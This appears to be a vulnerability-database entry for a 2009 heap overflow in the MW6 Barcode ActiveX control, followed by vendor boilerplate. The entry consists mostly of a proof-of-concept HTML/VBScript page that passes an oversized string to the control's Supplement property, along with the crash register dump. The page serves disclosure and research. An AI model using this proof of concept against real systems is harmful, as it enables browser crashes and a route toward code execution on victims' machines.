Lucene search
K

MW6 Barcode ActiveX控件远程缓冲区溢出漏洞

🗓️ 02 Feb 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 30 Views

MW6 Barcode ActiveX remote buffer overflow vulnerabilit

Code

                                                <html>
-----------------------------------------------------------    <br/>
Author : Houssamix                                                <br/>
-----------------------------------------------------------    <br/>
MW6 Barcode ActiveX (Barcode.dll) Reamote Heap Overflow Poc    <br/>
-----------------------------------------------------------    <br/>
<!--

http://www.mw6tech.com/download.html

Report for Clsid: {14D09688-CFA7-11D5-995A-005004CE563B}        
RegKey Safe for Script: Faux                                     
RegKey Safe for Init: Faux                                        
Implements IObjectSafety: Vrai                                     
IDisp Safe:  Safe for untrusted: caller,data                        
IPersist Safe:  Safe for untrusted: caller,data                      
IPStorage Safe:  Safe for untrusted: caller,data                      

Registers:                                                            
--------------------------------------------------                    
EIP 00B5294E                                                        
EAX 41414141 <====                                                         
EBX 00038660                                                         
ECX 00FA1EF8                                                          
EDX 00030608                                                         
EDI 00000000                                                    
ESI 00FA1EF8                                                          
EBP 0013F2A0                                                         
ESP 0013F278 

Block Disassembly: 
--------------------------------------------------
B5294E    MOV ECX,[EAX]      <--- CRASH                                            
-->

<object classid='clsid:14D09688-CFA7-11D5-995A-005004CE563B' id='target' ></object>
<script language='vbscript'>


arg1=String(1050, "A")

target.Supplement = arg1

</script>

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation